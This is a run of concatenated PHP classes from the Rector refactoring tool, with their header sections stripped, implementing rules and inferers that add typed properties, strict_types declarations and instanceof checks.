$this->makePropertyTypedGuard = $makePropertyTypedGuard; $this->reflectionResolver = $reflectionResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->valueResolver = $valueResolver; $this->staticTypeMapper = $staticTypeMapper; $this->attrinationFinder = $attrinationFinder; } public function configure(array $configuration) : void { $this->inlinePublic = $configuration[self::INLINE_PUBLIC] ?? (bool) \current($configuration); } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add typed property from assigned types', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class SomeClass { private $name; public function run() { $this->name = 'string'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private string|null $name = null; public function run() { $this->name = 'string'; } } CODE_SAMPLE , [self::INLINE_PUBLIC => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $classReflection = null; foreach ($node->getProperties() as $property) { // non-private property can be anything with not inline public configured if (!$property->isPrivate() && !$this->inlinePublic) { continue; } if ($this->isDoctrineMappedProperty($property)) { continue; } if (!$classReflection instanceof ClassReflection) { $classReflection = $this->reflectionResolver->resolveClassReflection($node); } if (!$classReflection instanceof ClassReflection) { return null; } if (!$this->makePropertyTypedGuard->isLegal($property, $classReflection, $this->inlinePublic)) { continue; } $inferredType = $this->allAssignNodePropertyTypeInferer->inferProperty($property, $classReflection, $this->file); if (!$inferredType instanceof Type) { continue; } if ($inferredType instanceof MixedType) { continue; } $inferredType = $this->decorateTypeWithNullableIfDefaultPropertyNull($property, $inferredType); $typeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($inferredType, TypeKind::PROPERTY); if (!$typeNode instanceof Node) { continue; } $hasChanged = \true; $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); if ($inferredType instanceof UnionType && ($typeNode instanceof NodeUnionType || $typeNode instanceof NullableType)) { $this->propertyTypeDecorator->decoratePropertyUnionType($inferredType, $typeNode, $property, $phpDocInfo, \false); } else { $property->type = $typeNode; } if (!$property->type instanceof Node) { continue; } $this->varTagRemover->removeVarTagIfUseless($phpDocInfo, $property); } if ($hasChanged) { return $node; } return null; } private function decorateTypeWithNullableIfDefaultPropertyNull(Property $property, Type $inferredType) : Type { $defaultExpr = $property->props[0]->default; if (!$defaultExpr instanceof Expr) { return $inferredType; } if (!$this->valueResolver->isNull($defaultExpr)) { return $inferredType; } if (TypeCombinator::containsNull($inferredType)) { return $inferredType; } return TypeCombinator::addNull($inferredType); } /** * Doctrine properties are handled in doctrine rules */ private function isDoctrineMappedProperty(Property $property) : bool { $mappingClasses = \array_merge(CollectionMapping::TO_MANY_CLASSES, CollectionMapping::TO_ONE_CLASSES, [MappingClass::COLUMN]); return $this->attrinationFinder->hasByMany($property, $mappingClasses); } } trustedClassMethodPropertyTypeInferer = $trustedClassMethodPropertyTypeInferer; $this->varTagRemover = $varTagRemover; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->constructorAssignDetector = $constructorAssignDetector; $this->propertyTypeOverrideGuard = $propertyTypeOverrideGuard; $this->reflectionResolver = $reflectionResolver; $this->doctrineTypeAnalyzer = $doctrineTypeAnalyzer; $this->propertyTypeDefaultValueAnalyzer = $propertyTypeDefaultValueAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add typed properties based only on strict constructor types', [new CodeSample(<<<'CODE_SAMPLE' class SomeObject { private $name; public function __construct(string $name) { $this->name = $name; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeObject { private string $name; public function __construct(string $name) { $this->name = $name; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod || $node->getProperties() === []) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } $hasChanged = \false; foreach ($node->getProperties() as $property) { if (!$this->propertyTypeOverrideGuard->isLegal($property, $classReflection)) { continue; } $propertyType = $this->trustedClassMethodPropertyTypeInferer->inferProperty($node, $property, $constructClassMethod); if ($this->shouldSkipPropertyType($propertyType)) { continue; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); // public property can be anything if ($property->isPublic()) { if (!$phpDocInfo->getVarType() instanceof MixedType) { continue; } $this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $propertyType); $hasChanged = \true; continue; } $propertyTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($propertyType, TypeKind::PROPERTY); if (!$propertyTypeNode instanceof Node) { continue; } $propertyProperty = $property->props[0]; $propertyName = $this->nodeNameResolver->getName($property); if ($this->constructorAssignDetector->isPropertyAssigned($node, $propertyName)) { $propertyProperty->default = null; $hasChanged = \true; } if ($this->propertyTypeDefaultValueAnalyzer->doesConflictWithDefaultValue($propertyProperty, $propertyType)) { continue; } $property->type = $propertyTypeNode; $this->varTagRemover->removeVarTagIfUseless($phpDocInfo, $property); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } private function shouldSkipPropertyType(Type $propertyType) : bool { if ($propertyType instanceof MixedType) { return \true; } return $this->doctrineTypeAnalyzer->isInstanceOfCollectionType($propertyType); } } trustedClassMethodPropertyTypeInferer = $trustedClassMethodPropertyTypeInferer; $this->staticTypeMapper = $staticTypeMapper; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add strict typed property based on setUp() strict typed assigns in TestCase', [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeClass extends TestCase { private $value; public function setUp() { $this->value = 1000; } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeClass extends TestCase { private int $value; public function setUp() { $this->value = 1000; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $setUpClassMethod = $node->getMethod(MethodName::SET_UP); if (!$setUpClassMethod instanceof ClassMethod) { return null; } $hasChanged = \false; foreach ($node->getProperties() as $property) { // type is already set if ($property->type !== null) { continue; } // is not private? we cannot be sure about other usage if (!$property->isPrivate()) { continue; } $propertyType = $this->trustedClassMethodPropertyTypeInferer->inferProperty($node, $property, $setUpClassMethod); $propertyTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($propertyType, TypeKind::PROPERTY); if (!$propertyTypeNode instanceof Node) { continue; } if ($propertyType instanceof ObjectType && $propertyType->getClassName() === 'PHPUnit\\Framework\\MockObject\\MockObject') { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); $varTag = $phpDocInfo->getVarTagValueNode(); $varType = $phpDocInfo->getVarType(); if ($varTag instanceof VarTagValueNode && $varType instanceof ObjectType && $varType->getClassName() !== 'PHPUnit\\Framework\\MockObject\\MockObject') { $varTag->type = new IntersectionTypeNode([new FullyQualifiedIdentifierTypeNode($propertyType->getClassName()), new FullyQualifiedIdentifierTypeNode($varType->getClassName())]); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($property); } } $property->type = $propertyTypeNode; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } } declareStrictTypeFinder = $declareStrictTypeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add declare(strict_types=1) if missing', [new CodeSample(<<<'CODE_SAMPLE' function someFunction() { } CODE_SAMPLE , <<<'CODE_SAMPLE' declare(strict_types=1); function someFunction() { } CODE_SAMPLE )]); } /** * @param Stmt[] $nodes * @return Stmt[]|null */ public function beforeTraverse(array $nodes) : ?array { parent::beforeTraverse($nodes); $filePath = $this->file->getFilePath(); if ($this->skipper->shouldSkipElementAndFilePath(self::class, $filePath)) { return null; } if ($nodes === []) { return null; } $rootStmt = \current($nodes); $stmt = $rootStmt; if ($rootStmt instanceof FileWithoutNamespace) { $currentStmt = \current($rootStmt->stmts); if (!$currentStmt instanceof Stmt) { return null; } if ($currentStmt instanceof InlineHTML) { return null; } $nodes = $rootStmt->stmts; $stmt = $currentStmt; } // when first stmt is Declare_, verify if there is strict_types definition already, // as multiple declare is allowed, with declare(strict_types=1) only allowed on very first stmt if ($this->declareStrictTypeFinder->hasDeclareStrictTypes($stmt)) { return null; } $declareDeclare = new DeclareDeclare(new Identifier('strict_types'), new LNumber(1)); $strictTypesDeclare = new Declare_([$declareDeclare]); $rectorWithLineChange = new RectorWithLineChange(self::class, $stmt->getLine()); $this->file->addRectorClassWithLine($rectorWithLineChange); if ($rootStmt instanceof FileWithoutNamespace) { /** @var Stmt[] $nodes */ $rootStmt->stmts = \array_merge([$strictTypesDeclare, new Nop()], $nodes); return [$rootStmt]; } return \array_merge([$strictTypesDeclare, new Nop()], $nodes); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { // workaroudn, as Rector now only hooks to specific nodes, not arrays return null; } } declareStrictTypeFinder = $declareStrictTypeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add declare strict types to a limited amount of classes at a time, to try out in the wild and increase level gradually', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' function someFunction() { } CODE_SAMPLE , <<<'CODE_SAMPLE' declare(strict_types=1); function someFunction() { } CODE_SAMPLE , [self::LIMIT => 10])]); } /** * @param Stmt[] $nodes * @return Stmt[]|null */ public function beforeTraverse(array $nodes) : ?array { parent::beforeTraverse($nodes); if ($nodes === []) { return null; } $rootStmt = \current($nodes); $stmt = $rootStmt; // skip classes without namespace for safety reasons if ($rootStmt instanceof FileWithoutNamespace) { return null; } if ($this->declareStrictTypeFinder->hasDeclareStrictTypes($stmt)) { return null; } // keep change withing a limit if ($this->changedItemCount >= $this->limit) { return null; } ++$this->changedItemCount; $strictTypesDeclare = $this->creteStrictTypesDeclare(); $rectorWithLineChange = new RectorWithLineChange(self::class, $stmt->getLine()); $this->file->addRectorClassWithLine($rectorWithLineChange); return \array_merge([$strictTypesDeclare, new Nop()], $nodes); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { // workaround, as Rector now only hooks to specific nodes, not arrays return null; } public function configure(array $configuration) : void { Assert::keyExists($configuration, self::LIMIT); $this->limit = (int) $configuration[self::LIMIT]; } private function creteStrictTypesDeclare() : Declare_ { $declareDeclare = new DeclareDeclare(new Identifier('strict_types'), new LNumber(1)); return new Declare_([$declareDeclare]); } } nullableTypeAnalyzer = $nullableTypeAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change while null compare to strict instanceof check', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run(?SomeClass $someClass) { while ($someClass !== null) { // do something } } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(?SomeClass $someClass) { while ($someClass instanceof SomeClass) { // do something } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [While_::class, Do_::class]; } /** * @param While_|Do_ $node */ public function refactor(Node $node) : ?Node { if ($node->cond instanceof NotIdentical) { return $this->refactorNotIdentical($node, $node->cond); } $condNullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($node->cond); if (!$condNullableObjectType instanceof Type) { return null; } $node->cond = $this->createInstanceof($node->cond, $condNullableObjectType); return $node; } private function createInstanceof(Expr $expr, ObjectType $objectType) : Instanceof_ { $fullyQualified = new FullyQualified($objectType->getClassName()); return new Instanceof_($expr, $fullyQualified); } /** * @param \PhpParser\Node\Stmt\While_|\PhpParser\Node\Stmt\Do_ $while * @return \PhpParser\Node\Stmt\While_|\PhpParser\Node\Stmt\Do_|null */ private function refactorNotIdentical($while, NotIdentical $notIdentical) { if (!$this->valueResolver->isNull($notIdentical->right)) { return null; } $condNullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($notIdentical->left); if (!$condNullableObjectType instanceof ObjectType) { return null; } $while->cond = $this->createInstanceof($notIdentical->left, $condNullableObjectType); return $while; } } getTypes() as $type) { if (!$type instanceof GenericClassStringType) { return \false; } } return \true; } } nodeTypeResolver = $nodeTypeResolver; } public function resolveNullableObjectType(Expr $expr) : ?\PHPStan\Type\ObjectType { $exprType = $this->nodeTypeResolver->getNativeType($expr); $baseType = TypeCombinator::removeNull($exprType); if (!$baseType instanceof ObjectType) { return null; } return $baseType; } } staticTypeMapper = $staticTypeMapper; } public function doesConflictWithDefaultValue(PropertyProperty $propertyProperty, Type $propertyType) : bool { if (!$propertyProperty->default instanceof Expr) { return \false; } // the defaults can be in conflict $defaultType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($propertyProperty->default); if ($defaultType instanceof ArrayType && $propertyType instanceof ArrayType) { return \false; } // type is not matching, skip it return !$defaultType->isSuperTypeOf($propertyType)->yes(); } } reflectionResolver = $reflectionResolver; $this->typeNodeUnwrapper = $typeNodeUnwrapper; $this->staticTypeMapper = $staticTypeMapper; } /** * @param Return_[] $returns * @return array */ public function collectStrictReturnTypes(array $returns, Scope $scope) : array { $containsStrictCall = \false; $returnedStrictTypeNodes = []; foreach ($returns as $return) { if (!$return->expr instanceof Expr) { return []; } $returnedExpr = $return->expr; if ($returnedExpr instanceof MethodCall || $returnedExpr instanceof StaticCall || $returnedExpr instanceof FuncCall) { $containsStrictCall = \true; $returnNode = $this->resolveMethodCallReturnNode($returnedExpr); } elseif ($returnedExpr instanceof ClassConstFetch) { $returnNode = $this->resolveConstFetchReturnNode($returnedExpr, $scope); } elseif ($returnedExpr instanceof Array_ || $returnedExpr instanceof String_ || $returnedExpr instanceof LNumber || $returnedExpr instanceof DNumber) { $returnNode = $this->resolveLiteralReturnNode($returnedExpr, $scope); } else { return []; } if (!$returnNode instanceof Node) { return []; } if ($returnNode instanceof Identifier && $returnNode->toString() === 'void') { return []; } $returnedStrictTypeNodes[] = $returnNode; } if (!$containsStrictCall) { return []; } return $this->typeNodeUnwrapper->uniquateNodes($returnedStrictTypeNodes); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $call */ public function resolveMethodCallReturnNode($call) : ?Node { $returnType = $this->resolveMethodCallReturnType($call); if (!$returnType instanceof Type) { return null; } return $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($returnType, TypeKind::RETURN); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $call */ public function resolveMethodCallReturnType($call) : ?Type { $methodReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($call); if ($methodReflection === null) { return null; } $scope = $call->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return null; } $parametersAcceptorWithPhpDocs = ParametersAcceptorSelectorVariantsWrapper::select($methodReflection, $call, $scope); if ($methodReflection instanceof NativeFunctionReflection || $methodReflection instanceof NativeMethodReflection) { $returnType = $parametersAcceptorWithPhpDocs->getReturnType(); } elseif ($parametersAcceptorWithPhpDocs instanceof ParametersAcceptorWithPhpDocs) { // native return type is needed, as docblock can be false $returnType = $parametersAcceptorWithPhpDocs->getNativeReturnType(); } else { $returnType = $parametersAcceptorWithPhpDocs->getReturnType(); } if ($returnType instanceof MixedType) { if ($returnType->isExplicitMixed()) { return $returnType; } return null; } return $this->normalizeStaticType($call, $returnType); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $call */ private function normalizeStaticType($call, Type $type) : Type { $reflectionClass = $this->reflectionResolver->resolveClassReflection($call); $currentClassName = $reflectionClass instanceof ClassReflection ? $reflectionClass->getName() : null; return TypeTraverser::map($type, static function (Type $currentType, callable $traverseCallback) use($currentClassName) : Type { if ($currentType instanceof StaticType && $currentClassName !== $currentType->getClassName()) { return new FullyQualifiedObjectType($currentType->getClassName()); } return $traverseCallback($currentType); }); } /** * @param \PhpParser\Node\Expr\Array_|\PhpParser\Node\Scalar $returnedExpr */ private function resolveLiteralReturnNode($returnedExpr, Scope $scope) : ?Node { $returnType = $scope->getType($returnedExpr); return $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($returnType, TypeKind::RETURN); } private function resolveConstFetchReturnNode(ClassConstFetch $classConstFetch, Scope $scope) : ?Node { $constType = $scope->getType($classConstFetch); if ($constType instanceof MixedType) { return null; } return $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($constType, TypeKind::RETURN); } } constructorAssignDetector = $constructorAssignDetector; $this->propertyAssignMatcher = $propertyAssignMatcher; $this->propertyDefaultAssignDetector = $propertyDefaultAssignDetector; $this->nullTypeAssignDetector = $nullTypeAssignDetector; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->typeFactory = $typeFactory; $this->nodeTypeResolver = $nodeTypeResolver; $this->exprAnalyzer = $exprAnalyzer; $this->valueResolver = $valueResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } public function inferPropertyInClassLike(Property $property, string $propertyName, ClassLike $classLike) : ?Type { if ($this->hasAssignDynamicPropertyValue($classLike, $propertyName)) { return null; } $assignedExprTypes = $this->getAssignedExprTypes($classLike, $propertyName); if ($this->shouldAddNullType($classLike, $propertyName, $assignedExprTypes)) { $assignedExprTypes[] = new NullType(); } return $this->resolveTypeWithVerifyDefaultValue($property, $assignedExprTypes); } /** * @param Type[] $assignedExprTypes */ private function resolveTypeWithVerifyDefaultValue(Property $property, array $assignedExprTypes) : ?Type { $defaultPropertyValue = $property->props[0]->default; if ($assignedExprTypes === []) { // not typed, never assigned, but has default value, then pull type from default value if (!$property->type instanceof Node && $defaultPropertyValue instanceof Expr) { return $this->nodeTypeResolver->getType($defaultPropertyValue); } return null; } $inferredType = $this->typeFactory->createMixedPassedOrUnionType($assignedExprTypes); if ($this->shouldSkipWithDifferentDefaultValueType($defaultPropertyValue, $inferredType)) { return null; } return $inferredType; } private function shouldSkipWithDifferentDefaultValueType(?Expr $expr, Type $inferredType) : bool { if (!$expr instanceof Expr) { return \false; } if ($this->valueResolver->isNull($expr)) { return \false; } $defaultType = $this->nodeTypeResolver->getNativeType($expr); return $inferredType->isSuperTypeOf($defaultType)->no(); } private function resolveExprStaticTypeIncludingDimFetch(Assign $assign) : Type { $exprStaticType = $this->nodeTypeResolver->getNativeType($assign->expr); if ($assign->var instanceof ArrayDimFetch) { return new ArrayType(new MixedType(), $exprStaticType); } return $exprStaticType; } /** * @param Type[] $assignedExprTypes */ private function shouldAddNullType(ClassLike $classLike, string $propertyName, array $assignedExprTypes) : bool { $hasPropertyDefaultValue = $this->propertyDefaultAssignDetector->detect($classLike, $propertyName); $isAssignedInConstructor = $this->constructorAssignDetector->isPropertyAssigned($classLike, $propertyName); if ($assignedExprTypes === [] && ($isAssignedInConstructor || $hasPropertyDefaultValue)) { return \false; } $shouldAddNullType = $this->nullTypeAssignDetector->detect($classLike, $propertyName); if ($shouldAddNullType) { if ($isAssignedInConstructor) { return \false; } return !$hasPropertyDefaultValue; } if ($assignedExprTypes === []) { return \false; } if ($isAssignedInConstructor) { return \false; } return !$hasPropertyDefaultValue; } private function hasAssignDynamicPropertyValue(ClassLike $classLike, string $propertyName) : bool { $hasAssignDynamicPropertyValue = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classLike->stmts, function (Node $node) use($propertyName, &$hasAssignDynamicPropertyValue) : ?int { if (!$node instanceof Assign) { return null; } $expr = $this->propertyAssignMatcher->matchPropertyAssignExpr($node, $propertyName); if (!$expr instanceof Expr) { if (!$this->propertyFetchAnalyzer->isLocalPropertyFetch($node->var)) { return null; } /** @var PropertyFetch|StaticPropertyFetch $assignVar */ $assignVar = $node->var; if (!$assignVar->name instanceof Identifier) { $hasAssignDynamicPropertyValue = \true; return NodeTraverser::STOP_TRAVERSAL; } return null; } return null; }); return $hasAssignDynamicPropertyValue; } /** * @return array */ private function getAssignedExprTypes(ClassLike $classLike, string $propertyName) : array { $assignedExprTypes = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classLike->stmts, function (Node $node) use($propertyName, &$assignedExprTypes) : ?int { if (!$node instanceof Assign) { return null; } $expr = $this->propertyAssignMatcher->matchPropertyAssignExpr($node, $propertyName); if (!$expr instanceof Expr) { return null; } if ($this->exprAnalyzer->isNonTypedFromParam($node->expr)) { $assignedExprTypes = []; return NodeTraverser::STOP_TRAVERSAL; } $assignedExprTypes[] = $this->resolveExprStaticTypeIncludingDimFetch($node); return null; }); return $assignedExprTypes; } } assignToPropertyTypeInferer = $assignToPropertyTypeInferer; $this->nodeNameResolver = $nodeNameResolver; $this->astResolver = $astResolver; $this->betterNodeFinder = $betterNodeFinder; } public function inferProperty(Property $property, ClassReflection $classReflection, File $file) : ?Type { if ($classReflection->getFileName() === $file->getFilePath()) { $className = $classReflection->getName(); $classLike = $this->betterNodeFinder->findFirst($file->getNewStmts(), function (Node $node) use($className) : bool { return $node instanceof ClassLike && $this->nodeNameResolver->isName($node, $className); }); } else { $classLike = $this->astResolver->resolveClassFromClassReflection($classReflection); } if (!$classLike instanceof ClassLike) { return null; } $propertyName = $this->nodeNameResolver->getName($property); return $this->assignToPropertyTypeInferer->inferPropertyInClassLike($property, $propertyName, $classLike); } } functionLikeReturnTypeResolver = $functionLikeReturnTypeResolver; $this->classMethodAndPropertyAnalyzer = $classMethodAndPropertyAnalyzer; $this->nodeNameResolver = $nodeNameResolver; } public function inferProperty(Property $property, Class_ $class) : ?Type { /** @var string $propertyName */ $propertyName = $this->nodeNameResolver->getName($property); foreach ($class->getMethods() as $classMethod) { if (!$this->classMethodAndPropertyAnalyzer->hasPropertyFetchReturn($classMethod, $propertyName)) { continue; } $returnType = $this->functionLikeReturnTypeResolver->resolveFunctionLikeReturnTypeToPHPStanType($classMethod); // let PhpDoc solve that later for more precise type if ($returnType->isArray()->yes()) { return new MixedType(); } if (!$returnType instanceof MixedType) { return $returnType; } } return null; } } classMethodAndPropertyAnalyzer = $classMethodAndPropertyAnalyzer; $this->nodeNameResolver = $nodeNameResolver; $this->staticTypeMapper = $staticTypeMapper; } public function inferProperty(Property $property, Class_ $class) : ?Type { /** @var string $propertyName */ $propertyName = $this->nodeNameResolver->getName($property); foreach ($class->getMethods() as $classMethod) { if (!$this->classMethodAndPropertyAnalyzer->hasOnlyPropertyAssign($classMethod, $propertyName)) { continue; } $paramTypeNode = $classMethod->params[0]->type ?? null; if (!$paramTypeNode instanceof Node) { return null; } $paramType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($paramTypeNode); // let PhpDoc solve that later for more precise type if ($paramType->isArray()->yes()) { return new MixedType(); } if (!$paramType instanceof MixedType) { return $paramType; } } return null; } } classMethodPropertyFetchManipulator = $classMethodPropertyFetchManipulator; $this->reflectionProvider = $reflectionProvider; $this->nodeNameResolver = $nodeNameResolver; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->typeFactory = $typeFactory; $this->staticTypeMapper = $staticTypeMapper; $this->nodeTypeResolver = $nodeTypeResolver; $this->paramAnalyzer = $paramAnalyzer; $this->assignToPropertyTypeInferer = $assignToPropertyTypeInferer; $this->typeComparator = $typeComparator; } public function inferProperty(Class_ $class, Property $property, ClassMethod $classMethod) : Type { $propertyName = $this->nodeNameResolver->getName($property); // 1. direct property = param assign $param = $this->classMethodPropertyFetchManipulator->findParamAssignToPropertyName($classMethod, $propertyName); if ($param instanceof Param) { return $this->resolveTypeFromParam($param, $classMethod, $propertyName, $property, $class); } // 2. different assign /** @var Expr[] $assignedExprs */ $assignedExprs = $this->classMethodPropertyFetchManipulator->findAssignsToPropertyName($classMethod, $propertyName); $resolvedTypes = []; foreach ($assignedExprs as $assignedExpr) { $resolvedTypes[] = $this->nodeTypeResolver->getNativeType($assignedExpr); } if ($resolvedTypes === []) { return new MixedType(); } $resolvedType = \count($resolvedTypes) === 1 ? $resolvedTypes[0] : TypeCombinator::union(...$resolvedTypes); return $this->resolveType($property, $propertyName, $class, $resolvedType); } private function resolveType(Property $property, string $propertyName, Class_ $class, Type $resolvedType) : Type { $exactType = $this->assignToPropertyTypeInferer->inferPropertyInClassLike($property, $propertyName, $class); if (!$exactType instanceof UnionType) { return $resolvedType; } if ($this->typeComparator->areTypesEqual($resolvedType, $exactType)) { return $resolvedType; } return new MixedType(); } private function resolveFromParamType(Param $param, ClassMethod $classMethod, string $propertyName) : Type { $type = $this->resolveParamTypeToPHPStanType($param); if ($type instanceof MixedType) { return new MixedType(); } $types = []; // it's an array - annotation → make type more precise, if possible if ($type->isArray()->yes() || $param->variadic) { $types[] = $this->getResolveParamStaticTypeAsPHPStanType($classMethod, $propertyName); } else { $types[] = $type; } if ($this->isParamNullable($param)) { $types[] = new NullType(); } return $this->typeFactory->createMixedPassedOrUnionType($types); } private function resolveParamTypeToPHPStanType(Param $param) : Type { if ($param->type === null) { return new MixedType(); } if ($this->paramAnalyzer->isNullable($param)) { /** @var NullableType $type */ $type = $param->type; $types = []; $types[] = new NullType(); $types[] = $this->staticTypeMapper->mapPhpParserNodePHPStanType($type->type); return $this->typeFactory->createMixedPassedOrUnionType($types); } // special case for alias if ($param->type instanceof FullyQualified) { $type = $this->resolveFullyQualifiedOrAliasedObjectType($param); if ($type instanceof Type) { return $type; } } return $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); } private function getResolveParamStaticTypeAsPHPStanType(ClassMethod $classMethod, string $propertyName) : Type { $paramStaticType = new ArrayType(new MixedType(), new MixedType()); $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $node) use($propertyName, &$paramStaticType) : ?int { if (!$node instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($node, $propertyName)) { return null; } $paramStaticType = $this->nodeTypeResolver->getType($node); return NodeTraverser::STOP_TRAVERSAL; }); return $paramStaticType; } private function isParamNullable(Param $param) : bool { if ($this->paramAnalyzer->isNullable($param)) { return \true; } if ($param->default instanceof Expr) { $defaultValueStaticType = $this->nodeTypeResolver->getType($param->default); if ($defaultValueStaticType instanceof NullType) { return \true; } } return \false; } private function resolveFullyQualifiedOrAliasedObjectType(Param $param) : ?Type { if ($param->type === null) { return null; } $fullyQualifiedName = $this->nodeNameResolver->getName($param->type); if (!\is_string($fullyQualifiedName)) { return null; } $originalName = $param->type->getAttribute(AttributeKey::ORIGINAL_NAME); if (!$originalName instanceof Name) { return null; } // if the FQN has different ending than the original, it was aliased and we need to return the alias if (\substr_compare($fullyQualifiedName, '\\' . $originalName->toString(), -\strlen('\\' . $originalName->toString())) !== 0) { $className = $originalName->toString(); if ($this->reflectionProvider->hasClass($className)) { return new FullyQualifiedObjectType($className); } // @note: $fullyQualifiedName is a guess, needs real life test return new AliasedObjectType($originalName->toString(), $fullyQualifiedName); } return null; } private function resolveTypeFromParam(Param $param, ClassMethod $classMethod, string $propertyName, Property $property, Class_ $class) : Type { if ($param->type === null) { return new MixedType(); } $resolvedType = $this->resolveFromParamType($param, $classMethod, $propertyName); return $this->resolveType($property, $propertyName, $class, $resolvedType); } } typeNormalizer = $typeNormalizer; $this->returnedNodesReturnTypeInfererTypeInferer = $returnedNodesReturnTypeInfererTypeInferer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function inferFunctionLike($functionLike) : Type { $originalType = $this->returnedNodesReturnTypeInfererTypeInferer->inferFunctionLike($functionLike); if ($originalType instanceof MixedType) { return new MixedType(); } return $this->typeNormalizer->normalizeArrayTypeAndArrayNever($originalType); } } silentVoidResolver = $silentVoidResolver; $this->betterNodeFinder = $betterNodeFinder; $this->nodeTypeResolver = $nodeTypeResolver; $this->typeFactory = $typeFactory; $this->splArrayFixedTypeNarrower = $splArrayFixedTypeNarrower; $this->reflectionResolver = $reflectionResolver; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function inferFunctionLike($functionLike) : Type { $classReflection = $this->reflectionResolver->resolveClassReflection($functionLike); if ($functionLike instanceof ClassMethod && (!$classReflection instanceof ClassReflection || $classReflection->isInterface())) { return new MixedType(); } $types = []; // empty returns can have yield, use MixedType() instead $localReturnNodes = $this->betterNodeFinder->findReturnsScoped($functionLike); if ($localReturnNodes === []) { return new MixedType(); } $hasVoid = \false; foreach ($localReturnNodes as $localReturnNode) { if (!$localReturnNode->expr instanceof Expr) { $hasVoid = \true; $types[] = new VoidType(); continue; } $returnedExprType = $this->nodeTypeResolver->getNativeType($localReturnNode->expr); $types[] = $this->splArrayFixedTypeNarrower->narrow($returnedExprType); } if (!$hasVoid && $this->silentVoidResolver->hasSilentVoid($functionLike)) { $types[] = new VoidType(); } $returnType = $this->typeFactory->createMixedPassedOrUnionTypeAndKeepConstant($types); // only void? if ($returnType->isVoid()->yes()) { return new MixedType(); } return $returnType; } } betterNodeFinder = $betterNodeFinder; $this->reflectionResolver = $reflectionResolver; $this->neverFuncCallAnalyzer = $neverFuncCallAnalyzer; $this->valueResolver = $valueResolver; 